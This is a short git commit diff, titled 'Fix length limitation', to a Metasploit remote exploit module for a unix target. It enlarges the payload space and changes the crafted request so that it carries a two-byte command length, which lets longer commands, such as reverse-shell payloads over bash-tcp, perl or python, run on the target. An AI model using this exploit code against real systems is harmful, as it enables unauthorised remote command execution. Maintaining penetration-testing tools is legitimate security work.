Fix length limitation
parent
29a497a616
commit
95ae7d8cae
|
@ -53,7 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'unix',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 255,
|
||||
'DisableNops' => true,
|
||||
'Space' => 60000,
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
|
||||
|
@ -465,8 +466,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
command_length = '%02x' % command.length
|
||||
command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
|
||||
|
||||
req = "\x00\x64\x00\x04\x00\x04\x00"
|
||||
req << command_length # Maximum length can be 255 bytes (0xFF)
|
||||
req = "\x00\x64\x00\x04\x00\x04"
|
||||
req << [command.length].pack('n')
|
||||
req << command # Our command to be executed
|
||||
req << "\x00"
|
||||
|
||||
|
|
Loading…
Reference in New Issue